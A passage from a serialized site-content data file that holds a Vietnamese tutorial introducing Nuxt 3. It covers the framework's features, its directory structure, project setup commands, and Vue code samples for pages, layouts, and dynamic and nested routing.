by":18584,"date":18585,"description":18586,"extension":72,"meta":18587,"navigation":74,"path":18588,"sections":76,"seo":18589,"stem":18590,"thumbnail":18591,"__hash__":18592},"content_vi\u002Fvi\u002Fnews\u002Fnuxt-the-intuitive-web-framework.md","Nuxt - The Intuitive Web Framework",{"type":8,"value":17264,"toc":18555},[17265,17269,17272,17275,17281,17287,17293,17299,17305,17311,17317,17323,17329,17335,17341,17385,17391,17394,17399,17405,17410,17420,17430,17443,17452,17462,17468,17478,17484,17494,17504,17510,17520,17528,17539,17548,17561,17567,17573,17579,17585,17591,17597,17603,17609,17615,17618,17624,17630,17633,17639,17645,17665,17671,17677,17684,17690,17693,17699,17702,17708,17711,17718,17724,17732,17735,17738,17744,17748,17754,17760,17767,17774,17780,17786,17789,17798,17801,17807,17811,17818,17824,17828,17834,17840,17843,17847,17853,17880,17886,17890,17896,17900,17906,17912,17916,17919,17925,17928,17934,17938,17941,17947,17951,17954,17960,17964,17967,17973,17977,17983,17990,17996,17999,18003,18009,18017,18023,18029,18043,18048,18055,18061,18066,18073,18076,18079,18085,18091,18099,18116,18122,18128,18135,18141,18148,18155,18160,18163,18167,18170,18176,18182,18188,18194,18197,18202,18205,18211,18216,18257,18262,18276,18279,18285,18293,18298,18301,18307,18310,18316,18319,18325,18328,18334,18339,18342,18348,18353,18356,18362,18367,18376,18379,18385,18388,18394,18398,18411,18414,18420,18423,18429,18432,18438,18441,18447,18453,18456,18461,18484,18489,18506,18509,18513,18525,18529,18537,18539,18545,18550],[498,17266,17267],{"id":5417},[20,17268,5418],{},[11,17270,17271],{},"Nuxt là một framework JavaScript mã nguồn mở dựa trên Vue.js. Phiên bản mới nhất hiện tại là Nuxt 3. Nuxt 3 là bản nâng cấp lại từ framework Nuxt dựa trên Vite, Vue 3 và Nitro với sự hỗ trợ từ Typescript.",[11,17273,17274],{},"Nuxt giúp đơn giản hóa việc phát triển các ứng dụng web theo phương pháp Server Side Rendering (SSR) và Static Site Generation (SSG), ngoài ra còn có các phương pháp khác như CSR, ISR, ESR và SWR. Nuxt cung cấp một cách tiếp cận có cấu trúc và dựa trên quy ước để xây dựng các ứng dụng Vue.js, cho phép các lập trình viên tập trung vào việc phát triển các tính năng thay vì xử lý cấu hình phức tạp.",[498,17276,17278],{"id":17277},"tại-sao-lại-sử-dụng-nuxt",[20,17279,17280],{},"Tại sao lại sử dụng Nuxt?",[11,17282,17283,17286],{},[20,17284,17285],{},"Server Side Rendering (SSR)",": Nuxt tận dụng server side rendering, có nghĩa là các component Vue.js được render trước trên server trước khi được gửi tới client. Điều này cải thiện hiệu suất tải trang ban đầu và cho phép tối ưu hóa công cụ tìm kiếm (SEO) tốt hơn, vì các công cụ tìm kiếm có thể lập chỉ mục nội dung được hiển thị đầy đủ.",[11,17288,17289,17292],{},[20,17290,17291],{},"Static Site Generation (SSG)",": Nuxt có thể tạo các file static HTML khi build time, có thể được cung cấp trực tiếp từ CDN hoặc dịch vụ static hosting. Cách tiếp cận này loại bỏ nhu cầu server side rendering trên mỗi request, giúp tải trang nhanh hơn và khả năng mở rộng được cải thiện.",[11,17294,17295,17298],{},[20,17296,17297],{},"Rendering nhanh hơn",": Vue Virtual DOM (VDOM) đã được viết lại từ đầu và cho phép hiệu suất render tốt hơn. Ngoài ra, khi làm việc với các Single-File Components đã biên dịch, trình biên dịch Vue có thể tối ưu hóa chúng hơn nữa tại build time bằng cách tách biệt static và dynamic markup. Điều này dẫn đến render đầu tiên (tạo component) và cập nhật nhanh hơn, đồng thời sử dụng ít bộ nhớ hơn. Trong Nuxt 3, nó cũng cho phép server side rendering nhanh hơn.",[11,17300,17301,17304],{},[20,17302,17303],{},"Bundle size nhỏ hơn",": Với Vue 3 và Nuxt 3, tập trung vào việc giảm tải bundle size. Bằng cách triển khai kỹ thuật tree-shaking, ứng dụng môi trường production khi bundle sẽ không bao gồm các chức năng của Vue như template directives và các component nếu không sử dụng, điều này có thể giúp giảm kích thước file, tải xuống nhanh hơn và cải thiện thời gian tải cho các ứng dụng. Bằng cách này, một ứng dụng Vue 3 tối thiểu có thể được giảm xuống còn 12 kb được nén bằng gzip.",[11,17306,17307,17310],{},[20,17308,17309],{},"Ecosystem rộng lớn",": Nuxt có một hệ sinh thái phát triển đa dạng được đóng góp từ cộng đồng. Bạn có thể tận dụng các plugin, module và công cụ của cộng đồng để mở rộng và tùy chỉnh ứng dụng của mình.",[11,17312,17313,17316],{},[20,17314,17315],{},"Hỗ trợ Typescript",": Mặc dù Nuxt 2 đã hỗ trợ Typescript, với Nuxt 3 đã hỗ trợ Typescript cải thiện hơn, bạn có thể sử dụng tính năng Type-checking và các công cụ khác mà Nuxt cung cấp dựa trên Typescript.",[11,17318,17319,17322],{},[20,17320,17321],{},"Phát triển đơn giản hóa",": Với Convention Over Configuration, Nuxt giảm tải các mã soạn sẵn và đơn giản hóa quy trình phát triển. Nó đi kèm với các tính năng tích hợp sẵn như routing, code splitting, và state management, cho phép bạn tập trung vào việc xây dựng logic ứng dụng của mình thay vì lo lắng về thiết lập và cấu hình.",[11,17324,17325,17328],{},[20,17326,17327],{},"Trải nghiệm tốt hơn đối với lập trình viên",": Nuxt cung cấp một môi trường phát triển mạnh mẽ với các tính năng như hot module replacement, automatic reloading, error handling, và công cụ cải tiến hơn như debugging, testing, devtools và các công cụ khác. Các tính năng này hợp lý hóa quy trình phát triển, cho phép lặp lại nhanh hơn và khả năng sửa lỗi tốt hơn.",[11,17330,17331,17334],{},[20,17332,17333],{},"Khả năng mở rộng và hiệu suất",": Nuxt tối ưu hóa hiệu suất ứng dụng của bạn thông qua các tính năng như automatic code splitting, lazy loading, và pre-rendering. Nó đảm bảo rằng chỉ có JavaScript cần thiết được tải cho mỗi trang, dẫn đến thời gian tải nhanh hơn và trải nghiệm người dùng tốt hơn. Ngoài ra, kiến trúc kiểu mô-đun của Nuxt cho phép khả năng mở rộng dễ dàng khi ứng dụng của bạn nâng cấp các version về sau.",[498,17336,17338],{"id":17337},"một-số-công-nghệ-được-hỗ-trợ-tích-hợp-sẵn",[20,17339,17340],{},"Một số công nghệ được hỗ trợ tích hợp sẵn",[201,17342,17343,17350,17357,17364,17371,17378],{},[34,17344,17345],{},[58,17346,17349],{"href":17347,"rel":17348},"https:\u002F\u002Fwebpack.js.org\u002F",[62],"Webpack 5",[34,17351,17352],{},[58,17353,17356],{"href":17354,"rel":17355},"https:\u002F\u002Fvitejs.dev\u002F",[62],"Vite",[34,17358,17359],{},[58,17360,17363],{"href":17361,"rel":17362},"https:\u002F\u002Fnitro.unjs.io\u002F",[62],"Nitro",[34,17365,17366],{},[58,17367,17370],{"href":17368,"rel":17369},"https:\u002F\u002Fvuejs.org\u002F",[62],"Vue 3",[34,17372,17373],{},[58,17374,17377],{"href":17375,"rel":17376},"https:\u002F\u002Frouter.vuejs.org\u002F",[62],"Router 4",[34,17379,17380],{},[58,17381,17384],{"href":17382,"rel":17383},"https:\u002F\u002Fwww.typescriptlang.org\u002F",[62],"Typescript",[498,17386,17388],{"id":17387},"so-sánh-các-tính-năng",[20,17389,17390],{},"So sánh các tính năng",[11,17392,17393],{},"Trong bảng dưới đây là bảng so sánh nhanh giữa 3 phiên bản Nuxt:",[533,17395],{"className":17396,"alt":66,"src":17397,"style":17398},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06143637\u002Ffeature-comparison.png","width: 90%;",[498,17400,17402],{"id":17401},"cấu-trúc-thư-mục",[20,17403,17404],{},"Cấu trúc thư mục",[533,17406],{"className":17407,"alt":66,"src":17408,"style":17409},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06160101\u002Fdirectory-structure2.png","width: 25%;",[11,17411,17412,17415,17416,17419],{},[20,17413,17414],{},".nuxt:"," Nuxt sử dụng thư mục ",[20,17417,17418],{},"\".nuxt\u002F\""," trong quá trình phát triển để tạo ứng dụng Vue của bạn.",[11,17421,17422,17425,17426,17429],{},[20,17423,17424],{},".output:"," Nuxt tạo thư mục ",[20,17427,17428],{},"\".output\u002F\""," khi xây dựng ứng dụng của bạn ở môi trường production.",[11,17431,17432,17435,17436,17439,17440,974],{},[20,17433,17434],{},"assets:"," Thư mục ",[20,17437,17438],{},"\"assets\u002F\""," được sử dụng để thêm tất cả nội dung của trang web mà công cụ xây dựng (webpack hoặc Vite) sẽ xử lý. Thư mục thường chứa các loại file sau: Stylesheets (CSS, SASS, v\u002Fv.), Fonts, hình ảnh sẽ không được phục vụ từ thư mục ",[20,17441,17442],{},"\"public\u002F\"",[11,17444,17445,17435,17448,17451],{},[20,17446,17447],{},"components:",[20,17449,17450],{},"\"components\u002F\""," là nơi bạn đặt tất cả các Vue components của mình, sau đó có thể import vào bên trong các trang của bạn hoặc các components khác.",[11,17453,17454,17457,17458,17461],{},[20,17455,17456],{},"composables:"," Nuxt 3 sử dụng thư mục ",[20,17459,17460],{},"\"composables\u002F\""," để tự động import các Vue composables của bạn vào ứng dụng của bạn bằng cách sử dụng tính năng auto-imports.",[11,17463,17464,17467],{},[20,17465,17466],{},"content:"," Hỗ trợ các file định dạng .md, .yml, .csv để tạo một CMS cho ứng dụng của bạn.",[11,17469,17470,17473,17474,17477],{},[20,17471,17472],{},"layouts:"," Được sử dụng để thay đổi giao diện ứng dụng của bạn. Một ứng dụng có thể có nhiều layouts ví dụ: admin layout, guest layout và registered clients layout. Các bố cục này sẽ được sử dụng lại trong các trang khác nhau để xử lý giao diện của chúng (sidebar, menu, footer, v.v.). Trong khi cài đặt, Nuxt CLI cung cấp mặc định ",[20,17475,17476],{},"layouts\u002Fdefault.vue"," layout và được sử dụng trong tất cả các trang.",[11,17479,17480,17483],{},[20,17481,17482],{},"middleware:"," Được sử dụng để xử lý các yêu cầu trước khi trang được hiển thị cho người dùng. Middleware cho phép bạn thực hiện các tác vụ như xác thực, kiểm tra quyền truy cập, ghi lại hoạt động và các xử lý tùy chỉnh khác trước khi trang được hiển thị.",[11,17485,17486,17489,17490,17493],{},[20,17487,17488],{},"modules",": Nuxt quét thư mục ",[20,17491,17492],{},"\"modules\u002F\""," và tải chúng trước khi bắt đầu. Đó là một nơi tốt để đặt bất kỳ modules cục bộ nào mà bạn phát triển trong khi xây dựng ứng dụng của mình.",[11,17495,17496,17499,17500,17503],{},[20,17497,17498],{},"node_modules:"," Trình quản lý package (npm hoặc yarn hoặc pnpm) tạo thư mục ",[20,17501,17502],{},"\"node_modules\u002F\""," để lưu trữ dependencies của dự án của bạn.",[11,17505,17506,17509],{},[20,17507,17508],{},"pages:"," Nuxt cung cấp routing dựa trên file để tạo các routes trong ứng dụng web của bạn bằng Vue Router.",[11,17511,17512,17515,17516,17519],{},[20,17513,17514],{},"plugins:"," Nuxt tự động đọc các file trong thư mục ",[20,17517,17518],{},"\"plugins\u002F\""," của bạn và tải chúng khi tạo ứng dụng Vue. Bạn có thể sử dụng hậu tố .server hoặc .client trong tên file để chỉ tải plugin ở server hoặc client.",[11,17521,17522,17435,17525,17527],{},[20,17523,17524],{},"public:",[20,17526,17442],{}," chứa các file tĩnh và cung cấp tài nguyên cho các request HTTP một cách trực tiếp không qua xử lý logic bổ sung. Ví dụ, có thể đặt các tệp tin hình ảnh, font chữ, robot.txt , favicon.ico hoặc các tệp tin tĩnh khác.",[11,17529,17530,17533,17534,17538],{},[20,17531,17532],{},"server:"," Nuxt tự động quét các file bên trong các thư mục như \"",[17535,17536,17537],"del",{},"\u002Fserver\u002Fapi\", \"","\u002Fserver\u002Froutes\", \"~\u002Fserver\u002Fmiddleware\" để đăng ký trình xử lý API và server với sự hỗ trợ của HMR",[11,17540,17541,17457,17544,17547],{},[20,17542,17543],{},"utils:",[20,17545,17546],{},"\"utils\u002F\""," để tự động import helper functions và các tiện ích khác trong ứng dụng của bạn bằng cách sử dụng auto-imports.",[11,17549,17550,17553,17554,1094,17557,17560],{},[20,17551,17552],{},".env:"," Nuxt CLI có hỗ trợ dotenv tích hợp trong chế độ development và khi chạy lệnh ",[703,17555,17556],{},"nuxi build",[703,17558,17559],{},"nuxi generate",". Ngoài bất kỳ biến môi trường nào của quy trình, nếu bạn có file .env trong thư mục gốc của dự án, file này sẽ tự động được tải khi build, khi dev, và khi generate, và mọi biến môi trường được đặt ở đó sẽ có thể truy cập được trong file nuxt.config của bạn và các modules.",[11,17562,17563,17566],{},[20,17564,17565],{},".gitignore:"," Sẽ liệt kê tên những file, folder trong project mà bạn không muốn bị parse mỗi khi thao tác với git.",[11,17568,17569,17572],{},[20,17570,17571],{},".nuxtignore:"," File .nuxtigore cho phép Nuxt bỏ qua layouts, pages, components, composables và middleware trong thư mục gốc của dự án (rootDir) trong quá trình build. File .nuxtigore tuân theo cùng thông số kỹ thuật như file .gitignore và .eslintigore, trong đó mỗi dòng là một mẫu hình cầu cho biết file nào sẽ bị bỏ qua.",[11,17574,17575,17578],{},[20,17576,17577],{},"app.config.ts:"," Được sử dụng để cấu hình và tùy chỉnh ứng dụng Nuxt.",[11,17580,17581,17584],{},[20,17582,17583],{},"app.vue:"," Component chính trong các ứng dụng Nuxt 3.",[11,17586,17587,17590],{},[20,17588,17589],{},"nuxt.config.ts:"," File nuxt.config.ts chứa cấu hình tùy chỉnh Nuxt của bạn và cho phép bạn cấu hình ứng dụng của mình, những cấu hình này bao gồm head title và associated styles và scripts, middlewares, plugins, authentication, modules và thậm chí cả các API.",[11,17592,17593,17596],{},[20,17594,17595],{},"package.json:"," Chứa tất cả các dependencies và scripts cho ứng dụng của bạn.",[11,17598,17599,17602],{},[20,17600,17601],{},"tsconfig.json:"," Nuxt tự động tạo file .nuxt\u002Ftsconfig.json với các giá trị mặc định hợp lý khác. Bạn chỉ cần việc tạo 1 file tsconfig.json bên ngoài root và import từ file Nuxt đã khởi tạo.",[498,17604,17606],{"id":17605},"tính-năng",[20,17607,17608],{},"Tính năng",[657,17610,17612],{"id":17611},"auto-imports",[20,17613,17614],{},"Auto-imports",[11,17616,17617],{},"Auto import là một tính năng mới được Nuxt 3 phát triển nó khá là tiện. Tất cả các file trong components, composables, utils đều được tự động nhận diện và chỉ cần gọi tên component, composables, v\u002Fv, mà không cần phải import lại nữa. Auto import được bật mặc định nhưng cũng có thể tắt đi trong file nuxt.config.ts như sau:",[696,17619,17622],{"className":17620,"code":17621,"language":701},[699],"export default defineNuxtConfig({\n  imports: {\n    autoImport: false\n  }\n})\n\n",[703,17623,17621],{"__ignoreMap":66},[657,17625,17627],{"id":17626},"rendering-modes",[20,17628,17629],{},"Rendering Modes",[11,17631,17632],{},"Nuxt hỗ trợ các chế độ rendering khác nhau, universal rendering, client side rendering nhưng cũng cung cấp hybrid rendering và khả năng render ứng dụng của bạn trên CDN Edge Servers.",[657,17634,17636],{"id":17635},"server-engine",[20,17637,17638],{},"Server Engine",[11,17640,17641,17642,974],{},"Nuxt 3 được cung cấp bởi một server engine mới, ",[58,17643,17363],{"href":17361,"rel":17644},[62],[201,17646,17647,17650,17653,17656,17659,17662],{},[34,17648,17649],{},"Hỗ trợ đa nền tảng cho Node.js, trình duyệt, service-workers, v\u002Fv.",[34,17651,17652],{},"Serverless hỗ trợ out-of-the-box.",[34,17654,17655],{},"Hỗ trợ API routes.",[34,17657,17658],{},"Tự động hóa code-splitting và async-loaded chunks.",[34,17660,17661],{},"Chế độ kết hợp cho các trang static + serverless.",[34,17663,17664],{},"Server phát triển với cơ chế hot module reloading.",[498,17666,17668],{"id":17667},"bắt-đầu-với-nuxt",[20,17669,17670],{},"Bắt đầu với Nuxt",[11,17672,17673,17676],{},[20,17674,17675],{},"Điều kiện tiên quyết:"," Nodejs version 16.0.0 hoặc mới hơn.",[11,17678,17679,17680,17683],{},"Thiết lập đơn giản với Nuxt CLI, sử dụng với lệnh ",[703,17681,17682],{},"nuxi"," sẽ giúp bạn cài đặt và quản lý tất cả các thành phần Nuxt. Với npx đã được cài đặt, bạn dễ dàng tạo project theo lệnh bên dưới:",[696,17685,17688],{"className":17686,"code":17687,"language":701},[699],"> npx nuxi init project-name\n",[703,17689,17687],{"__ignoreMap":66},[11,17691,17692],{},"Kết quả output bạn sẽ nhận được.",[696,17694,17697],{"className":17695,"code":17696,"language":701},[699],"Nuxt project is created with v3 template. Next steps:\n› cd project-name\n› Install dependencies with npm install or yarn install or pnpm install\n› Start development server with npm run dev or yarn dev or pnpm run dev\n",[703,17698,17696],{"__ignoreMap":66},[11,17700,17701],{},"Cài đặt dependencies.",[696,17703,17706],{"className":17704,"code":17705,"language":701},[699],"yarn install\n",[703,17707,17705],{"__ignoreMap":66},[11,17709,17710],{},"Và đây là cấu trúc project mới.",[11,17712,17713,17717],{},[533,17714],{"className":17715,"alt":66,"src":17716,"style":17409},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06171557\u002Finit-project.png"," Bây giờ bạn sẽ có thể khởi động ứng dụng Nuxt của mình ở chế độ development.",[696,17719,17722],{"className":17720,"code":17721,"language":701},[699],"yarn dev -o\n",[703,17723,17721],{"__ignoreMap":66},[11,17725,17726,17727,17731],{},"Sau đó truy cập trình duyệt tại (",[58,17728,5497],{"href":17729,"rel":17730},"http:\u002F\u002Flocalhost:3000",[62],"), để thấy được ứng dụng Nuxt vừa được tạo đang chạy.",[11,17733,17734],{},"Theo mặc định, file app.vue là core component đóng vai trò là entrypoint và render nội dung của nó cho mỗi route của ứng dụng. Là root component của ứng dụng Nuxt của bạn và đại diện cho layout và structure bao bọc tất cả các component khác. Nó thường chứa layout chính, navigation, và bất kỳ global components hoặc logic nào cần được chia sẻ trên nhiều trang.",[11,17736,17737],{},"Thay đổi một chút nội dung trong file app.vue và xem hiển thị.",[696,17739,17742],{"className":17740,"code":17741,"language":701},[699],"> app.vue\n\u003Ctemplate>\n  \u003Cdiv>\n    \u003Ch1>Welcome to the homepage\u003C\u002Fh1>\n  \u003Cdiv>\n\u003C\u002Ftemplate>\n",[703,17743,17741],{"__ignoreMap":66},[533,17745],{"className":17746,"alt":66,"src":17747,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06174754\u002Fapp.vue_-1024x130.png",[498,17749,17751],{"id":17750},"các-đặc-trưng",[20,17752,17753],{},"Các đặc trưng",[657,17755,17757],{"id":17756},"pages",[20,17758,17759],{},"Pages",[11,17761,17762,17763,17766],{},"Đây là nơi sẽ chứa các Application Views cũng như route của bạn. Theo mặc định, Nuxt sử dụng hệ thống routing dựa trên mỗi file, trong đó mỗi file .vue trong thư mục ",[20,17764,17765],{},"\"pages\u002F\""," tương ứng với một route.",[11,17768,17769,17770,17773],{},"Để sử dụng các page, hãy tạo file pages\u002Findex.vue và thêm component \u003CNuxtPage \u002F> vào app.vue (hoặc xóa app.vue khi muốn pages\u002Findex.vue làm mặc định). Pages là các Vue component và có thể có bất kỳ valid extension nào mà Nuxt hỗ trợ (theo mặc định là .vue, .js, .jsx, .mjs, .ts hoặc .tsx). Nuxt sẽ tự động tạo route cho mọi trang trong thư mục ",[20,17771,17772],{},"\"~\u002Fpages\u002F\""," của bạn.",[696,17775,17778],{"className":17776,"code":17777,"language":701},[699],"> app.vue (Nếu dùng app.vue làm mặc định)\n\u003Ctemplate>\n  \u003CNuxtPage \u002F>\n\u003C\u002Ftemplate>\n\n--- .vue ---\n> pages\u002Findex.vue\n\u003Ctemplate>\n  \u003Cp>Home Page\u003C\u002Fp>\n\u003C\u002Ftemplate>\n\n> pages\u002Fabout.vue\n\u003Ctemplate>\n  \u003Cp>About Page\u003C\u002Fp>\n\u003C\u002Ftemplate>\n\n--- .ts ---\n> pages\u002Findex.ts\nexport default defineComponent({\n  render () {\n    return h('h1', 'Home page');\n  }\n});\n\n--- .tsx ---\nexport default defineComponent({\n  render () {\n    return \u003Ch1>Home page\u003C\u002Fh1>;\n  }\n});\n",[703,17779,17777],{"__ignoreMap":66},[657,17781,17783],{"id":17782},"layouts",[20,17784,17785],{},"Layouts",[11,17787,17788],{},"Layout đóng một vai trò quan trọng trong việc xác định cấu trúc và thiết kế tổng thể của các trang trong ứng dụng của bạn. Layout trong Nuxt đại diện cho một template có thể tái sử dụng bao quanh các page component của bạn và cung cấp giao diện nhất quán trên nhiều page. Có thể tạo nhiều layout khác nhau như layout login hay layout homepage hoặc nhiều layout khác.",[4997,17790,17791],{},[11,17792,17793],{},[17794,17795,17797],"i",{"style":17796},"color:red","Nếu bạn chỉ có một layout duy nhất trong ứng dụng của mình, chúng tôi khuyên bạn nên sử dụng app.vue với thành phần \u003CNuxtPage \u002F> để thay thế.",[11,17799,17800],{},"Nếu không thiết lập gì, Nuxt sẽ chỉ định default.vue làm mặc định.",[696,17802,17805],{"className":17803,"code":17804,"language":701},[699],"> app.vue\n\u003Ctemplate>\n  \u003CNuxtLayout>\n    \u003CNuxtPage \u002F>\n  \u003C\u002FNuxtLayout>\n\u003C\u002Ftemplate>\n\n> layouts\u002Fdefault.vue\n\u003Ctemplate>\n  \u003Cdiv>\n    \u003Ch1>This our default layout\u003C\u002Fh1>\n    \u003Cslot \u002F>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n> pages\u002Findex.vue\n\u003Ctemplate>\n  \u003Cp>Home Page\u003C\u002Fp>\n\u003C\u002Ftemplate>\n",[703,17806,17804],{"__ignoreMap":66},[533,17808],{"className":17809,"alt":66,"src":17810,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06175418\u002Fdefault-layout-1024x147.png",[11,17812,17813,17814,17817],{},"Bây giờ, hãy làm điều gì đó thú vị hơn, hãy tạo một layout tùy chỉnh và hiển thị trang ",[20,17815,17816],{},"\u002Fabout"," của chúng ta bằng layout mới của chúng ta.",[696,17819,17822],{"className":17820,"code":17821,"language":701},[699],"> layouts\u002Fcustom.vue\n\u003Ctemplate>\n  \u003Cdiv>\n    \u003Ch1>This our custom layout\u003C\u002Fh1>\n    \u003Cslot \u002F>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n> pages\u002Fabout.vue\n\u003Ctemplate>\n  \u003Cp>About Page\u003C\u002Fp>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\ndefinePageMeta({\n  layout: 'custom',\n});\n\u003C\u002Fscript>\n",[703,17823,17821],{"__ignoreMap":66},[533,17825],{"className":17826,"alt":66,"src":17827,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07135628\u002Fpage-about-1024x97.png",[657,17829,17831],{"id":17830},"routing",[20,17832,17833],{},"Routing",[1800,17835,17837],{"id":17836},"dynamic-routes",[20,17838,17839],{},"Dynamic routes",[11,17841,17842],{},"Bây giờ, hãy xem xét các cách khác nhau mà chúng ta có thể tạo routes bằng cách sử dụng routing dựa trên các file trong Nuxt.",[533,17844],{"className":17845,"alt":66,"src":17846,"style":17409},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06181322\u002Fstructure-pages.png",[11,17848,17849,17850,17852],{},"Trong ví dụ của chúng ta, hãy xem cấu trúc thư mục ",[20,17851,17765],{},". Có 2 loại page khác nhau: static page và dynamic page có nội dung thay đổi dựa trên route parameters.",[201,17854,17855,17869],{},[34,17856,17857,17858],{},"Static page\n",[31,17859,17860,17863,17866],{},[34,17861,17862],{},"index.vue → \u002F",[34,17864,17865],{},"about.vue → \u002Fabout",[34,17867,17868],{},"category\u002Findex.vue → \u002Fcategory",[34,17870,17871,17872],{},"Dynamic page\n",[31,17873,17874,17877],{},[34,17875,17876],{},"category\u002F[slug].vue → \u002Fcategory\u002Flanguage",[34,17878,17879],{},"user-[group]\u002F[id].vue → \u002Fuser-admin\u002F123",[696,17881,17884],{"className":17882,"code":17883,"language":701},[699],"> pages\u002Fcategory\u002F[slug].vue\n\u003Ctemplate>\n  \u003Cp>Category slug : {{ $route.params.slug  }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\nconst route = useRoute();\nuseHead({\n  title: `Category ${route.params.slug}`\n});\n\u003C\u002Fscript>\n\n",[703,17885,17883],{"__ignoreMap":66},[533,17887],{"className":17888,"alt":66,"src":17889,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F06181711\u002Frouting-category-slug-1024x157.png",[696,17891,17894],{"className":17892,"code":17893,"language":701},[699],"> pages\u002Fuser-[group]\u002F[id].vue\n\u003Ctemplate>\n  \u003Cp>Group : {{ $route.params.group }} - ID : {{ $route.params.id }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\nconst route = useRoute();\nuseHead({\n  title: `User group ${route.params.group} ID ${route.params.id}`\n});\n\u003C\u002Fscript>\n\n",[703,17895,17893],{"__ignoreMap":66},[533,17897],{"className":17898,"alt":66,"src":17899,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07154241\u002Frouting-user-group-id-1024x162.png",[1800,17901,17903],{"id":17902},"nested-routes",[20,17904,17905],{},"Nested Routes",[11,17907,17908,17909],{},"Là một cấu trúc page hiển thị theo cấp bậc, nơi mà một parent route sẽ có các child routes hoặc sub-routes. Điều này hữu ích khi bạn có các page cần chia sẻ common layout hoặc khi bạn muốn sắp xếp các route trong ứng dụng của mình theo cách lồng nhau. Có thể hiển thị các nested routes với ",[17910,17911,974],"nuxt-page",{},[533,17913],{"className":17914,"alt":66,"src":17915,"style":17409},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07154348\u002Fstructure-nested-pages.png",[11,17917,17918],{},"Cây file này sẽ tạo các route sau:",[696,17920,17923],{"className":17921,"code":17922,"language":701},[699],"[\n  {\n    path: '\u002Fuser',\n    component: '~\u002Fpages\u002Fuser.vue',\n    name: 'user',\n    children: [\n      {\n        path: '\u002F',\n        component: '~\u002Fpages\u002Fuser\u002Findex.vue',\n        name: 'user-child'\n      },\n      {\n        path: '\u002F:id',\n        component: '~\u002Fpages\u002Fuser\u002F[id].vue',\n        name: 'user-id',\n    children: [\n       {\n         path: '\u002Fprofile',\n         component: '~\u002Fpages\u002Fuser\u002F[id]\u002Fprofile.vue',\n         name: 'user-id-profile'\n       },\n       {\n         path: '\u002Fdivision',\n         component: '~\u002Fpages\u002Fuser\u002F[id]\u002Fdivision\u002Findex.vue',\n         name: 'user-id-division',\n         children: [\n        {\n          path: '\u002F:division\u002F:divisionId',\n          component: '~\u002Fpages\u002Fuser\u002F[id]\u002Fdivision\u002F[division]\u002F[divisionId].vue',\n          name: 'user-id-division-id'\n        }\n         ]\n       },\n     ]\n      }\n    ]\n  }\n]\n\n",[703,17924,17922],{"__ignoreMap":66},[11,17926,17927],{},"Kết quả route user với child routes.",[696,17929,17932],{"className":17930,"code":17931,"language":701},[699],"> pages\u002Fuser.vue\n\u003Ctemplate>\n  \u003Cp>User Page\u003C\u002Fp>\n  \u003CNuxtPage \u002F>\n\u003C\u002Ftemplate>\n\n> pages\u002Fuser\u002Findex.vue\n\u003Ctemplate>\n  \u003Cp>User Child Page\u003C\u002Fp>\n\u003C\u002Ftemplate>\n",[703,17933,17931],{"__ignoreMap":66},[533,17935],{"className":17936,"alt":66,"src":17937,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07155153\u002Frouting-nested-user-child-1024x159.png",[11,17939,17940],{},"Kết quả route user profile với parameter user id.",[696,17942,17945],{"className":17943,"code":17944,"language":701},[699],"> pages\u002Fuser.vue (parent route)\n\n> pages\u002Fuser\u002F[id]\u002Fprofile\n\u003Ctemplate>\n  \u003Cp>User Profile Page - User ID : {{ $route.params.id }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n",[703,17946,17944],{"__ignoreMap":66},[533,17948],{"className":17949,"alt":66,"src":17950,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07155428\u002Frouting-nested-user-id-profile-1-1024x162.png",[11,17952,17953],{},"Kết quả route user division với parameter user id.",[696,17955,17958],{"className":17956,"code":17957,"language":701},[699],"> pages\u002Fuser.vue (parent route)\n\n> pages\u002Fuser\u002F[id]\u002Fdivision\u002Findex.vue\n\u003Ctemplate>\n  \u003Cp>User ID : {{ $route.params.id }}\u003C\u002Fp>\n  \u003Cp>User division : {{ $route.params.division }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n",[703,17959,17957],{"__ignoreMap":66},[533,17961],{"className":17962,"alt":66,"src":17963,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07155551\u002Frouting-nested-user-id-division-1024x202.png",[11,17965,17966],{},"Kết quả route user division với parameter user id và division id.",[696,17968,17971],{"className":17969,"code":17970,"language":701},[699],"> pages\u002Fuser.vue (parent route)\n\n> 